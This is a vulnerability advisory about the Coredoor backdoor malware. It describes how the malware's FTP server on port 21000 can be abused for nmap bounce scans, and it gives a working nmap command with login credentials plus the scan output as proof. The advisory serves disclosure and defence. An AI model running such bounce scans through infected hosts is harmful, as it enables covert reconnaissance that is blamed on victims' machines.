Backdoor.Win32.Coredoor.10.a Man-In-The-Middle

Backdoor.Win32.Coredoor.10.a malware suffers from a man-in-the-middle vulnerability.

MD5 | fa160ea83052af90313700880f1f793f

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Coredoor.10.a
Vulnerability: Port Bounce Scan
Description: The malware listens on TCP port 21000. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 4d10cd3fa86239ade05d2b741892b1e5
Vuln ID: MVID-2021-0411
Dropped files: CFS.exe
Disclosure: 11/25/2021

nmap -n -Pn -b malvuln:[email protected]:21000 -p21,22,80 -v
Starting Nmap 7.80 ( ) at 2021-11-24 22:18 Pacific Standard Time
Resolved FTP bounce attack proxy to (
Attempting connection to ftp://malvuln:[email protected]:21000
Connected:220 c400s FTP Server read...
Login credentials accepted by FTP server!
Initiating Bounce Scan at 22:18
Discovered open port 80/tcp on
Completed Bounce Scan at 22:18, 2.16s elapsed (3 total ports)
Nmap scan report for
Host is up.

21/tcp closed ftp
22/tcp closed ssh
80/tcp open http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.30 seconds

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

Related Posts